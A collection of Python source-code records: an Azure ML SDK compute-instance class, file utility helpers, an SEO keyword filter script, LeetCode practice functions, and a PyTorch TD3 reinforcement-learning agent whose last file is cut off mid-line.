+{"seq_id":"244573530","text":"# ---------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# ---------------------------------------------------------\nfrom typing import Optional, Dict, List\nfrom azure.ai.ml._utils.utils import load_yaml\nfrom azure.ai.ml.constants import BASE_PATH_CONTEXT_KEY, ComputeType, ComputeDefaults, TYPE\nfrom azure.ai.ml.entities import NetworkSettings, Compute\nfrom azure.ai.ml.entities._util import load_from_dict\nfrom azure.ai.ml._schema.compute.compute_instance import ComputeInstanceSchema\nfrom azure.ai.ml._schema._utils.utils import get_subnet_str\nfrom ._schedule import ComputeSchedules\nfrom marshmallow.exceptions import ValidationError\nfrom azure.ai.ml._restclient.v2022_01_01_preview.models import (\n ComputeResource,\n ComputeInstanceProperties,\n ComputeInstance as CIRest,\n ResourceId,\n ComputeInstanceSshSettings as CiSShSettings,\n PersonalComputeInstanceSettings,\n AssignedUser,\n)\n\nfrom azure.ai.ml._ml_exceptions import ValidationException, ErrorCategory, ErrorTarget\n\n\nclass ComputeInstanceSshSettings:\n \"\"\"Credentials for an administrator user account to SSH into the compute node. Can only be configured if ssh_public_access_enabled is set to true.\"\"\"\n\n def __init__(\n self,\n *,\n ssh_key_value: str,\n **kwargs,\n ):\n \"\"\"[summary]\n\n :param ssh_key_value: The SSH public key of the administrator user account.\n :type ssh_key_value: str\n \"\"\"\n self.ssh_key_value = ssh_key_value\n self._ssh_port = kwargs.pop(\"ssh_port\", None)\n self._admin_username = kwargs.pop(\"admin_username\", None)\n\n @property\n def admin_username(self) -> str:\n \"\"\"The name of the administrator user account which can be used to SSH into nodes.\n\n return: The name of the administrator user account.\n rtype: str\n \"\"\"\n return self._admin_username\n\n @property\n def ssh_port(self) -> str:\n \"\"\"SSH port.\n\n return: SSH port.\n rtype: str\n \"\"\"\n return self._ssh_port\n\n\nclass AssignedUserConfiguration:\n \"\"\"Settings to create a compute on behalf of another user.\"\"\"\n\n def __init__(self, *, user_tenant_id: str, user_object_id: str):\n \"\"\"[summary]\n\n :param user_tenant_id: Tenant ID of the user to assign the compute target to.\n :type user_tenant_id: str\n :param user_object_id: Object ID of the user to assign the compute target to.\n :type user_object_id: str\n \"\"\"\n self.user_tenant_id = user_tenant_id\n self.user_object_id = user_object_id\n\n\nclass ComputeInstance(Compute):\n \"\"\"Compute Instance resource\n\n :param name: Name of the compute\n :type name: str\n :param location: The resource location, defaults to None\n :type location: Optional[str], optional\n :param description: Description of the resource.\n :type description: Optional[str], optional\n :param size: Compute Size, defaults to None\n :type size: Optional[str], optional\n :param create_on_behalf_of: defaults to None\n :type create_on_behalf_of: Optional[AssignedUserConfiguration], optional\n :ivar state: defaults to None\n :type state: Optional[str], optional\n :ivar last_operation: defaults to None\n :type last_operation: Optional[Dict[str, str]], optional\n :ivar applications: defaults to None\n :type applications: Optional[List[Dict[str, str]]], optional\n :param network_settings: defaults to None\n :type network_settings: Optional[NetworkSettings], optional\n :param ssh_settings: defaults to None\n :type ssh_settings: Optional[ComputeInstanceSshSettings], optional\n :param ssh_public_access_enabled: State of the public SSH port. Possible values are: [\"False\", \"True\", \"None\"]\n False - Indicates that the public ssh port is closed on all nodes of the cluster.\n True - Indicates that the public ssh port is open on all nodes of the cluster.\n None -Indicates that the public ssh port is closed on all nodes of the cluster if VNet is defined,\n else is open all public nodes. It can be default only during cluster creation time, after\n creation it will be either True or False. Possible values include: True, False, None.\n Default value: None.\n\n :type ssh_public_access_enabled: Optional[bool], optional\n :param schedules: Compute instance schedules, defaults to None\n :type schedules: Optional[ComputeSchedules], optional\n \"\"\"\n\n def __init__(\n self,\n *,\n name: str,\n description: Optional[str] = None,\n size: Optional[str] = None,\n ssh_public_access_enabled: Optional[bool] = None,\n create_on_behalf_of: Optional[AssignedUserConfiguration] = None,\n network_settings: Optional[NetworkSettings] = None,\n ssh_settings: Optional[ComputeInstanceSshSettings] = None,\n schedules: Optional[ComputeSchedules] = None,\n **kwargs,\n ):\n kwargs[TYPE] = ComputeType.COMPUTEINSTANCE\n self._state = kwargs.pop(\"state\", None)\n self._last_operation = kwargs.pop(\"last_operation\", None)\n self._services = kwargs.pop(\"services\", None)\n super().__init__(\n name=name,\n location=kwargs.pop(\"location\", None),\n resource_id=kwargs.pop(\"resource_id\", None),\n description=description,\n **kwargs,\n )\n self.size = size\n self.ssh_public_access_enabled = ssh_public_access_enabled\n self.create_on_behalf_of = create_on_behalf_of\n self.network_settings = network_settings\n self.ssh_settings = ssh_settings\n self.schedules = schedules\n\n @property\n def services(self) -> List[Dict[str, str]]:\n \"\"\"\n\n return: The services for the compute instance.\n rtype: List[Dict[str, str]]\n \"\"\"\n return self._services\n\n @property\n def last_operation(self) -> Dict[str, str]:\n \"\"\"The last operation.\n\n return: The last operation.\n rtype: str\n \"\"\"\n return self._last_operation\n\n @property\n def state(self) -> str:\n \"\"\"The state of the compute\n\n return: The state of the compute.\n rtype: str\n \"\"\"\n return self._state\n\n @staticmethod\n def _ssh_public_access_to_bool(value: str) -> bool:\n if value.lower() == \"disabled\":\n return False\n elif value.lower() == \"enabled\":\n return True\n else:\n return None\n\n def _to_rest_object(self) -> ComputeResource:\n if self.network_settings and self.network_settings.subnet:\n subnet_resource = ResourceId(id=self.subnet)\n else:\n subnet_resource = None\n if self.ssh_public_access_enabled and not (self.ssh_settings and self.ssh_settings.ssh_key_value):\n msg = \"ssh_key_value is required when ssh_public_access_enabled = True.\"\n raise ValidationException(\n message=msg,\n target=ErrorTarget.COMPUTE,\n no_personal_data_message=msg,\n error_category=ErrorCategory.USER_ERROR,\n )\n ssh_settings = None\n if self.ssh_settings and self.ssh_settings.ssh_key_value:\n ssh_settings = CiSShSettings(\n admin_public_key=self.ssh_settings.ssh_key_value,\n )\n if self.ssh_public_access_enabled is not None:\n ssh_settings.ssh_public_access = \"Enabled\" if self.ssh_public_access_enabled else \"Disabled\"\n else:\n ssh_settings.ssh_public_access = \"NotSpecified\"\n personal_compute_instance_settings = None\n if self.create_on_behalf_of:\n personal_compute_instance_settings = PersonalComputeInstanceSettings(\n assigned_user=AssignedUser(\n object_id=self.create_on_behalf_of.user_object_id, tenant_id=self.create_on_behalf_of.user_tenant_id\n )\n )\n\n compute_instance_prop = ComputeInstanceProperties(\n vm_size=self.size if self.size else ComputeDefaults.VMSIZE,\n subnet=subnet_resource,\n ssh_settings=ssh_settings,\n personal_compute_instance_settings=personal_compute_instance_settings,\n schedules=self.schedules._to_rest_object() if self.schedules else None,\n )\n compute_instance = CIRest(\n description=self.description, compute_type=self.type, properties=compute_instance_prop\n )\n return ComputeResource(location=self.location, properties=compute_instance)\n\n def _to_dict(self) -> Dict:\n return ComputeInstanceSchema(context={BASE_PATH_CONTEXT_KEY: \"./\"}).dump(self)\n\n def _set_full_subnet_name(self, subscription_id: str, rg: str) -> None:\n if self.network_settings:\n self.subnet = get_subnet_str(\n self.network_settings.vnet_name, self.network_settings.subnet, subscription_id, rg\n )\n\n @classmethod\n def _load_from_rest(cls, rest_obj: ComputeResource) -> \"ComputeInstance\":\n prop = rest_obj.properties\n create_on_behalf_of = None\n if prop.properties and prop.properties.personal_compute_instance_settings:\n create_on_behalf_of = AssignedUserConfiguration(\n user_tenant_id=prop.properties.personal_compute_instance_settings.assigned_user.tenant_id,\n user_object_id=prop.properties.personal_compute_instance_settings.assigned_user.object_id,\n )\n ssh_settings = None\n if prop.properties and prop.properties.ssh_settings:\n ssh_settings = ComputeInstanceSshSettings(\n ssh_key_value=prop.properties.ssh_settings.admin_public_key,\n ssh_port=prop.properties.ssh_settings.ssh_port,\n admin_username=prop.properties.ssh_settings.admin_user_name,\n )\n\n network_settings = None\n if prop.properties and (\n prop.properties.subnet\n or (\n prop.properties.connectivity_endpoints\n and (\n prop.properties.connectivity_endpoints.private_ip_address\n or prop.properties.connectivity_endpoints.public_ip_address\n )\n )\n ):\n network_settings = NetworkSettings(\n subnet=prop.properties.subnet.id if prop.properties.subnet else None,\n public_ip_address=prop.properties.connectivity_endpoints.public_ip_address\n if prop.properties.connectivity_endpoints and prop.properties.connectivity_endpoints.public_ip_address\n else None,\n private_ip_address=prop.properties.connectivity_endpoints.private_ip_address\n if prop.properties.connectivity_endpoints and prop.properties.connectivity_endpoints.private_ip_address\n else None,\n )\n\n response = ComputeInstance(\n name=rest_obj.name,\n id=rest_obj.id,\n description=prop.description,\n location=rest_obj.location,\n resource_id=prop.resource_id,\n provisioning_state=prop.provisioning_state,\n provisioning_errors=prop.provisioning_errors[0].error.code\n if (prop.provisioning_errors and len(prop.provisioning_errors) > 0)\n else None,\n size=prop.properties.vm_size if prop.properties else None,\n state=prop.properties.state if prop.properties else None,\n last_operation=prop.properties.last_operation.as_dict()\n if prop.properties and prop.properties.last_operation\n else None,\n services=[app.as_dict() for app in prop.properties.applications]\n if prop.properties and prop.properties.applications\n else None,\n created_on=prop.additional_properties.get(\"createdOn\", None),\n create_on_behalf_of=create_on_behalf_of,\n network_settings=network_settings,\n ssh_settings=ssh_settings,\n ssh_public_access_enabled=cls._ssh_public_access_to_bool(prop.properties.ssh_settings.ssh_public_access)\n if (prop.properties and prop.properties.ssh_settings and prop.properties.ssh_settings.ssh_public_access)\n else None,\n schedules=ComputeSchedules._from_rest_object(prop.properties.schedules)\n if prop.properties and prop.properties.schedules and prop.properties.schedules.compute_start_stop\n else None,\n )\n return response\n\n @classmethod\n def _load_from_dict(cls, data: Dict, context: Dict, **kwargs) -> \"ComputeInstance\":\n loaded_data = load_from_dict(ComputeInstanceSchema, data, context, **kwargs)\n return ComputeInstance(**loaded_data)\n","sub_path":"sdk/ml/azure-ai-ml/azure/ai/ml/entities/_compute/compute_instance.py","file_name":"compute_instance.py","file_ext":"py","file_size_in_byte":12797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"445784449","text":"import os,sys\nimport numpy as np\nimport time\n\ndef clean_work_path(file_path):\n files=os.listdir(file_path)\n if files==[]:\n return\n for i in files:\n os.remove(file_path+i)\n return \n\ndef wait_msg_file(file_path,file_name,delete=False):\n files=os.listdir(file_path)\n while True:\n if file_name in files:\n with open(file_path+file_name,'r') as ff:\n msg=ff.read()\n if delete==True:\n os.remove(file_path+file_name)\n return msg\n else:\n time.sleep(1)\n files=os.listdir(file_path)\n\ndef wait_np_file(file_path,file_name,delete=False):\n files=os.listdir(file_path)\n while True:\n if file_name in files:\n arr=np.load(file_path+file_name)\n if delete==True:\n os.remove(file_path+file_name)\n return arr\n else:\n time.sleep(1)\n files=os.listdir(file_path)\n\ndef wait_np_file_start(file_path,file_start,delete=False):\n files=os.listdir(file_path)\n while True:\n for i in files:\n if i.startswith(file_start):\n arr=np.load(file_path+i,allow_pickle=True)\n if delete==True:\n os.remove(file_path+i)\n return arr\n time.sleep(2)\n files=os.listdir(file_path)\n\ndef set_np_file(file_path,file_name,arr):\n arr=np.array(arr)\n try:\n os.mkdir(file_path)\n except:\n pass\n np.save(file_path+file_name,arr)\n return\n\n\n\n\n\n\n","sub_path":"TSP/os_file.py","file_name":"os_file.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"510968699","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 11 14:51:02 2019\n\n@author: kyleschneider\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\n# Where you load in CSV file\ndataset = pd.read_csv('bestbath.com_organic_keywords.csv',encoding = 'unicode_escape')\n\n#Creates a dataframe filtered to the position you'd like\n\ndef createDataWithPositionSpecs(min_p,max_p):\n cp = dataset.loc[(dataset['Position'] >= min_p) & (dataset['Position'] <= max_p)]\n return cp\n\ncp = createDataWithPositionSpecs(11,29)\n\n# Creates the total volume for 'Search Volume' column\ndef totalVolume(x):\n total = x['Search Volume'].sum()\n return total\ntotV = totalVolume(cp)\n\n# Turns search volume into a percentage\nk = (cp['Search Volume']/totV)*100\n\n\n# Make booleans for filter parameters, change if statement for choice parameters\nnewData = []\nfor value in cp['Search Volume']:\n if (value/totV)*100 >= .5:\n newData.append(True)\n else:\n newData.append(False)\n \n\n# add new columns variables to data frame \ncp['Volume Ratio'] = k\ncp['Look into']= newData\n\n# creates final dataframe\nfinalist = cp.loc[cp['Look into'] == True]\n\n# Exports final dataframe to a csv file\n# Use: finalist.to_csv(r'Path where you want to store the exported CSV file\\File Name.csv')\n# to select file path\nfinalist.to_csv(r'Desktop\\keyword_research\\cody_keyword_research3.csv')\n\n\n\n\n","sub_path":"V3_SEO_keyword_research.py","file_name":"V3_SEO_keyword_research.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"361627572","text":"# 给定字符串J 代表石头中宝石的类型,和字符串 S代表你拥有的石头。 S 中每个字符代表了一种你拥有的石头的类型,你想知道你拥有的石头中有多少是宝石。\n#\n# J 中的字母不重复,J 和 S中的所有字符都是字母。字母区分大小写,因此\"a\"和\"A\"是不同类型的石头。\n#\n# 示例 1:\n#\n# 输入: J = \"aA\", S = \"aAAbbbb\"\n# 输出: 3\n# 示例 2:\n#\n# 输入: J = \"z\", S = \"ZZ\"\n# 输出: 0\nimport sys\n\n\n\ndef JewelsInStones(J, S):\n\n i=0\n for s in S:\n if s in J:\n i+=1\n return i\n\n# 爱丽丝有一手(hand)由整数数组给定的牌。\n#\n# 现在她想把牌重新排列成组,使得每个组的大小都是\n# W,且由\n# W\n# 张连续的牌组成。\n#\n# 如果她可以完成分组就返回\n# true,否则返回\n# false。\n#\n#\n#\n# 示例\n# 1:\n#\n# 输入:hand = [1, 2, 3, 6, 2, 3, 4, 7, 8], W = 3\n# 输出:true\n# 解释:爱丽丝的手牌可以被重新排列为[1, 2, 3],[2, 3, 4],[6, 7, 8]。\n# 示例\n# 2:\n#\n# 输入:hand = [1, 2, 3, 4, 5], W = 4\n# 输出:false\n# 解释:爱丽丝的手牌无法被重新排列成几个大小为\n# 4\n# 的组。\n\n\n\n\ndef hgandofStraights(hand,w):\n if ((hand.__len__())%w)!=0:\n return \"爱丽丝的手牌无法被重新排列成几个大小为\"+str(w)\n else:\n for i in list(range(0,hand.__len__())):\n for j in list(range(0,hand.__len__()-1)):\n\n if hand[j]>hand[j+1]:\n t=hand[j]\n hand[j]=hand[j+1]\n hand[j + 1] = t\n\n #排序结束\n #进行分组\n result=True\n j = 0\n for i in range(0, int(hand.__len__()/w)): #\n #取第一个切片的值 进行判断是否是连续的值\n for q in range(j,w): #0-2\n if result==False:\n print()\n else:\n t=hand[q]-hand[q+1]\n if hand[q]-hand[q+1]!=t:\n result=False\n break\n else:\n print(hand[q])\n\n j+=w\n w+=w\n\n\n\n\n# 给定一个字符串 S 和一个字符串 T,计算在 S 的子序列中 T 出现的个数。\n#\n# 一个字符串的一个子序列是指,通过删除一些(也可以不删除)字符且��干扰剩余字符相对位置所组成的新字符串。(例如,\"ACE\" 是 \"ABCDE\" 的一个子序列,而 \"AEC\" 不是)\n#\n# 示例 1:\n#\n# 输入: S = \"rabbbit\", T = \"rabbit\"\n# 输出: 3\n# 解释:\n#\n# 如下图所示, 有 3 种可以从 S 中得到 \"rabbit\" 的方案。\n# (上箭头符号 ^ 表示选取的字母)\n#\n# rabbbit\n# ^^^^ ^^\n# rabbbit\n# ^^ ^^^^\n# rabbbit\n# ^^^ ^^^\n# 示例 2:\n#\n# 输入: S = \"babgbag\", T = \"bag\"\n# 输出: 5\n# 解释:\n#\n# 如下图所示, 有 5 种可以从 S 中得到 \"bag\" 的方案。\n# (上箭头符号 ^ 表示选取的字母)\n#\n# babgbag\n# ^^ ^\n# babgbag\n# ^^ ^\n# babgbag\n# ^ ^^\n# babgbag\n# ^ ^^\n# babgbag\n# ^^^\n\ndef DistinctSubsequences():\n print(\"----\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Python_From_introduction_to_practice/LeetCode/TestCase/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"237741113","text":"import numpy as np\n# import tensorflow as tf\n#from keras.optimizers import Adam\n# from tensorflow.keras.callbacks import TensorBoard\n#from keras.layers import Input, Conv2D, MaxPool2D, Dense, Concatenate\n#from keras import Model\n#from keras.utils import plot_model\n#from keras.initializers import RandomUniform\n#from keras.regularizers import l2\n#import keras\n#import tensorflow as tf\nimport random\nfrom tqdm import tqdm\nimport os\nimport matplotlib.pyplot as plt\nimport gym\nfrom math import sqrt\nimport time\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport copy\nimport torch.nn.functional as F\nfrom EduCubePlant_env_v4 import EduCubePlantEnv\nfrom random import shuffle\nfrom functools import partial\nfrom operator import itemgetter\nprint(torch.cuda.current_device())\nprint(torch.cuda.get_device_name(0))\nprint(torch.cuda.is_available())\ndevice = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\ntorch.set_default_tensor_type('torch.cuda.FloatTensor')\n\nclass Critic(nn.Module):\n def __init__(self, Q_layer, nb_obs, nb_action, input, stride1, stride2):\n super(Critic, self).__init__()\n self.input = input\n self.stride1 = stride1\n self.stride2 = stride2\n if self.input == 'state':\n self.ln1 = nn.Linear(nb_obs+nb_action,Q_layer[0])\n f_ini = 1 / sqrt(int((nb_obs+nb_action) * Q_layer[0])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln1.weight,-f_ini,f_ini)\n\n self.ln2 = nn.Linear(Q_layer[0],Q_layer[1])\n f_ini = 1 / sqrt(int((Q_layer[0]) * Q_layer[1])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln2.weight,-f_ini,f_ini)\n\n self.ln3 = nn.Linear(Q_layer[1],1)\n nn.init.uniform_(self.ln3.weight, -3e-3, 3e-3)\n else:\n #(n_samples, channels, height, width)\n self.conv1 = nn.Conv2d(in_channels = 1,out_channels =6, kernel_size = (5,5), stride=self.stride1)\n #self.conv1 = nn.Conv2d(1, 1, nb_obs[0],nb_obs[1])\n self.conv2 = nn.Conv2d(in_channels = 6, out_channels =1, kernel_size = (6,6), stride=self.stride2)\n\n nb_obs = int(round((round((nb_obs[0]/self.stride1)-1)/self.stride2)-1)*round((round((nb_obs[1]/self.stride1)-1)/self.stride2)-1))\n self.ln1 = nn.Linear(nb_obs + nb_action, Q_layer[0])\n f_ini = 1 / sqrt(int((nb_obs + nb_action) * Q_layer[0]))\n nn.init.uniform_(self.ln1.weight, -f_ini, f_ini)\n\n self.ln2 = nn.Linear(Q_layer[0],Q_layer[1])\n f_ini = 1 / sqrt(int((Q_layer[0]) * Q_layer[1]))\n nn.init.uniform_(self.ln2.weight,-f_ini,f_ini)\n\n self.ln3 = nn.Linear(Q_layer[1],1)\n nn.init.uniform_(self.ln3.weight, -3e-3, 3e-3)\n\n def forward(self, x1, x2):\n if self.input == 'state':\n x = torch.cat([x1.float(), x2.float()], dim=1)\n x = torch.relu(self.ln1(x))\n x = torch.relu(self.ln2(x))\n x = self.ln3(x)\n else:\n #x1 = x1.permute(2, 0, 1)\n #x1 = x1[None,...]\n x = torch.relu(self.conv1(x1))\n x = torch.relu(self.conv2(x))\n x = x.view(-1, self.num_flat_features(x))\n x = torch.cat([x.float(), x2.float()], dim=1)\n x = torch.relu(self.ln1(x))\n x = torch.relu(self.ln2(x))\n x = self.ln3(x)\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\n\nclass Actor(nn.Module):\n def __init__(self, mu_layer, nb_obs, nb_action, input,stride1,stride2):\n super(Actor, self).__init__()\n self.input = input\n self.stride1 = stride1\n self.stride2 = stride2\n if self.input == 'state':\n self.ln1 = nn.Linear(nb_obs,mu_layer[0])\n f_ini = 1 / sqrt(int(nb_obs * mu_layer[0])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln1.weight,-f_ini,f_ini)\n\n self.ln2 = nn.Linear(mu_layer[0],mu_layer[1])\n f_ini = 1 / sqrt(int(mu_layer[0] * mu_layer[1])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln2.weight,-f_ini,f_ini)\n\n self.ln3 = nn.Linear(mu_layer[1],nb_action)\n nn.init.uniform_(self.ln3.weight, -3e-3, 3e-3)\n else :\n #self.conv1 = nn.Conv2d(1, 1, 4)\n #self.conv2 = nn.Conv2d(1, 1, 5)\n self.conv1 = nn.Conv2d(in_channels = 1,out_channels =6, kernel_size = (5,5), stride=self.stride1)\n #self.conv1 = nn.Conv2d(1, 1, nb_obs[0],nb_obs[1])\n self.conv2 = nn.Conv2d(in_channels = 6, out_channels =1, kernel_size = (6,6), stride=self.stride2)\n\n nb_obs = int(round((round((nb_obs[0]/self.stride1)-1)/self.stride2)-1)*round((round((nb_obs[1]/self.stride1)-1)/self.stride2)-1))\n\n self.ln1 = nn.Linear(nb_obs,mu_layer[0])\n f_ini = 1 / sqrt(int(nb_obs * mu_layer[0])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln1.weight,-f_ini,f_ini)\n\n self.ln2 = nn.Linear(mu_layer[0],mu_layer[1])\n f_ini = 1 / sqrt(int(mu_layer[0] * mu_layer[1])) # 1/sqrt(fan-in) where fa-in is the number of incoming network connection to the system\n nn.init.uniform_(self.ln2.weight,-f_ini,f_ini)\n\n self.ln3 = nn.Linear(mu_layer[1],nb_action)\n nn.init.uniform_(self.ln3.weight, -3e-3, 3e-3)\n def forward(self, x1):\n if self.input == 'state':\n x = torch.relu(self.ln1(x1))\n x = torch.relu(self.ln2(x))\n x = torch.sigmoid_(self.ln3(x))\n else:\n #print(x1.shape)\n #x1 = x1.permute(2,0,1)\n #x1 = x1[None, ...]\n x = torch.relu(self.conv1(x1))\n x = torch.relu(self.conv2(x))\n #x = torch.flatten(x)\n x = x.view(-1, self.num_flat_features(x))\n x = torch.relu(self.ln1(x))\n x = torch.relu(self.ln2(x))\n x = torch.sigmoid_(self.ln3(x))\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\nclass ReplayBuffer:\n def __init__(self, size):\n self.max_size = size\n self._next = 0\n self._buffer = list()\n\n def push(self, elem):\n\n if len(self._buffer) < self.max_size:\n self._buffer.append(elem)\n self._next = self._next +1\n else:\n #When the buffer is full, it discards older transition\n self._buffer[self._next] = elem\n self._next = (self._next + 1) % self.max_size\n\n def sample(self, mini_batch_size):\n if len(self._buffer) < mini_batch_size:\n return [random.choice(self._buffer) for _ in range(mini_batch_size)]\n\n #Output the MiniBatch with N(mini_batch_size) random Transitions.\n return random.sample(self._buffer, mini_batch_size)\n\n def clean(self):\n self._next = 0\n self._buffer = list()\n\n def get_buffer(self):\n return self._buffer\n\n\n# TD3 Agent class https://arxiv.org/pdf/1802.09477v3.pdf\nclass TD3Agent:\n def __init__(self, env='LunarLanderContinuous-v2', input = 'state',mu_layer=[400, 300], Q_layer=[400, 300],\n Ad_alpha_mu=1e-4, Ad_alpha_Q=1e-3, l2_weight_decay_Q=1e-2,ReplayBuffer_size=1e6, MiniBatch_size=64,\n discount_gamma=0.99, tau=0.001,stride1 = 4,stride2 = 5):\n\n # Environment initialization\n self.env = EduCubePlantEnv()#gym.make(env)\n self.env_name = env\n self.env.reset()\n\n #print(self.env.observation_space)\n self.nb_obs = self.env.observation_space\n self.nb_action = self.env.action_space.shape[0]\n\n self.upper_bound = self.env.action_space.high[0]\n self.lower_bound = self.env.action_space.low[0]\n\n # Other Variable\n self.Noise = None # Ornstein-Uhlenbeck process for exploration but PARAMETER SPACE NOISE FOR EXPLORATION show that gaussian noise is similar in result (correlated)\n self.ReplayBuffer = ReplayBuffer(ReplayBuffer_size)\n self.MiniBatch_size = MiniBatch_size\n self.MiniBatch = []\n self.RewardList = []\n\n # Target\n self.y = None\n\n # self.MiniBatch = [None] * MiniBatch_size\n self.discount_gamma = discount_gamma\n self.tau = tau\n\n self.input = input\n self.stride1 = stride1\n self.stride2 = stride2\n\n #Random initialization of the Critic Network\n self.critic_value = [Q_layer, Ad_alpha_Q, l2_weight_decay_Q]\n self.critic_1 = Critic(Q_layer, self.nb_obs, self.nb_action , self.input ,stride1 = self.stride1,stride2 = self.stride2)\n self.critic_opt_1 = optim.Adam(self.critic_1.parameters(),lr = Ad_alpha_Q, weight_decay=l2_weight_decay_Q)\n #Random initialization of the Critic Network\n self.critic_2 = Critic(Q_layer, self.nb_obs, self.nb_action, self.input ,stride1 = self.stride1,stride2 = self.stride2)\n self.critic_opt_2 = optim.Adam(self.critic_2.parameters(),lr = Ad_alpha_Q, weight_decay=l2_weight_decay_Q)\n\n #Random initialization of the Actor Network\n self.actor_value = [mu_layer, Ad_alpha_mu]\n self.actor = Actor(mu_layer, self.nb_obs, self.nb_action, self.input ,self.stride1,self.stride2)\n self.actor_opt = optim.Adam(self.actor.parameters(), lr=Ad_alpha_mu)\n\n #Clone the Actor and Critic to perform the soft target update to avoid divergence\n self.mu_prim = Actor(mu_layer, self.nb_obs, self.nb_action,self.input,stride1 = self.stride1,stride2 = self.stride2)#copy.deepcopy(self.actor)\n self.mu_prim.load_state_dict(self.actor.state_dict())\n self.Q_prim_1 = Critic(Q_layer, self.nb_obs, self.nb_action, self.input ,stride1 = self.stride1,stride2 = self.stride2)#copy.deepcopy(self.critic_1)\n self.Q_prim_1.load_state_dict(self.critic_1.state_dict())\n self.Q_prim_2 = Critic(Q_layer, self.nb_obs, self.nb_action, self.input ,stride1 = self.stride1,stride2 = self.stride2)#copy.deepcopy(self.critic_2)\n self.Q_prim_2.load_state_dict(self.critic_2.state_dict())\n\n def update_Qs(self, observation_t_temp, action_temp, y):\n self.critic_opt_1.zero_grad()\n output1 = self.critic_1(observation_t_temp,action_temp)\n criterion_1 = nn.MSELoss()\n loss_1 = criterion_1(output1, y)\n #loss_1.backward()\n #self.critic_opt_1.step()\n\n self.critic_opt_2.zero_grad()\n output2 = self.critic_2(observation_t_temp,action_temp)\n criterion_2 = nn.MSELoss()\n loss_2 = criterion_2(output2, y)\n #loss_2.backward()\n #self.critic_opt_2.step()\n\n total_loss= loss_1 + loss_2\n total_loss.backward()\n\n self.critic_opt_1.step()\n self.critic_opt_2.step()\n \n self.critic_opt_1.zero_grad()\n self.critic_opt_2.zero_grad()\n\n def update_mu(self, observation_t_temp):\n # Update the actor mu by applying the chain rule to the expected return from the start distribution\n loss = -self.critic_1(observation_t_temp, self.actor(observation_t_temp)).mean()\n loss.backward()\n self.actor_opt.step()\n self.actor_opt.zero_grad()\n self.critic_opt_1.zero_grad()\n self.critic_opt_2.zero_grad()\n\n\n def normalize_input(self, data):\n #Normalization of the data. It is use wih data from the MiniBatch to perform batch normalization\n data = (data - np.mean(data)) / (np.std(data))\n return data\n\n\n def target_function(self,stddev_Noise,noise_clip = 0.5):\n # Compute the target values\n # Bellman equation to minimize the loss of the Critic\n print(\"C1.1\")\n self.y = None\n print(\"C1.2\")\n #observation_t1_temp = torch.tensor([_[3] for _ in self.MiniBatch],dtype=torch.float) #\n start = time.time()\n observation_t1_temp = torch.tensor(list(map(itemgetter(3), self.MiniBatch )))#torch.tensor(list( map(itemgetter(3), self.MiniBatch ))) #torch.tensor(list(list(zip(*self.MiniBatch))[3]))\n print(\"time :\", time.time()-start)\n print(len(observation_t1_temp))\n print(\"C1.3\")\n reward_temp = torch.tensor([float(seq[2]) for seq in self.MiniBatch])\n print(\"C1.4\")\n\n Noise = torch.from_numpy(\n np.random.normal(0, stddev_Noise, size=(self.MiniBatch_size, self.nb_action)).clip(-noise_clip,noise_clip))\n print(\"C1\")\n action_temp = self.mu_prim(observation_t1_temp) + Noise\n print(\"C2\")\n action_temp = torch.from_numpy(action_temp.clip(self.lower_bound, self.upper_bound).detach().numpy())\n print(\"C3\")\n q_value_temp_1 = self.Q_prim_1(observation_t1_temp, action_temp)#.squeeze().tolist()\n print(\"C4\")\n q_value_temp_2 = self.Q_prim_2(observation_t1_temp, action_temp) # .squeeze().tolist()\n\n self.y = reward_temp + self.discount_gamma * torch.min(q_value_temp_1,q_value_temp_2)\n\n def update_network_prim(self):\n #The clone actor and clone critic weights are slowly updated with the tau factor and original networks weights\n self.update_network_prim2(self.critic_1,self.Q_prim_1)\n self.update_network_prim2(self.critic_2, self.Q_prim_2)\n self.update_network_prim2(self.actor,self.mu_prim)\n\n\n def update_network_prim2(self, model, model_prim):\n #Update of the weights of a clone from the original and the tau factor\n temp_weight_model_prim = []\n #Looping on each layer\n for layer_model, layer_model_prim in zip(model.parameters(), model_prim.parameters()):\n layer_model_prim.data.copy_(self.tau * layer_model.data + (1 - self.tau) * layer_model_prim.data)\n\n def trainAgent(self, number_episode=50, number_timestep=100, render = True ,module =2,stddev_Noise_exp=0.2,stddev_Noise_pol=0.1,noise_clip = 0.5):\n\n #The reward list will be plot at the end to see the evolution/learning of the DDPGAgent\n self.RewardList = []\n self.RewardListavg =[]\n\n for e in range(1, number_episode + 1):\n print(\"Episode : \", e)\n\n #Each reward episode is store. At the end of the episode, the values are sumed and added to the RewardList\n reward_episode = []\n\n # A new environment is set-up for each episode\n observation_t = self.env.reset()\n\n done = False #Initilaization of the state of the episode\n\n for t in tqdm(range(1, number_timestep + 1)):\n\n self.env.render() if render else False # Render or not the environment. No render increase the speed of the computation\n\n self.Noise = torch.from_numpy(np.random.normal(0, stddev_Noise_exp, 